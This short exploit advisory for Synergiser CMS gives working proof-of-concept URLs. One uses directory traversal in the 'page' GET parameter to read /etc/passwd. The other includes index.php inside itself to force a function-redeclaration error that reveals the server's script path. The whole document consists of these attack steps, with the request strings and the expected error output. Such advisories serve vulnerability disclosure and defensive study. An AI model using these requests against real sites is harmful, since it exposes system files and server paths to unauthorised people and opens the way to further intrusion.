Local File Inclusion PoC:

Synergiser cms allows to include a file by the get variabile "page". We can't 
include a remote file, coz there is a filter..but we can include, by a 
directory traversal, some important files...for example:

http://[target]/[synergiser_path]/index.php?page=../../../etc/passwd
---------------------------------------------------------------
Full Path Disclosure PoC:

So, we have to know the script path if we wanna browse the server...we can get 
it generating a full path disclosure, like this:

http://[target]/[synergiser_path]/index.php?page=../index.php

We know that a function cannot be declared two times. So, let's read the 
"index.php" code, and we will found:

include('application_top.php');

This row includes "application_top.php". In that page, is declared a php 
function: assign_rand_value(); So, including index.php in index.php, we will 
reinclude application_top.php, and we will redeclare the same function. We 
can't do it! So the server will answer:

Fatal error: Cannot redeclare assign_rand_value() (previously declared in 
[script_path]/application_top.php:9) in [script_path]/application_top.php on 
line 124

And we got the script path! :P
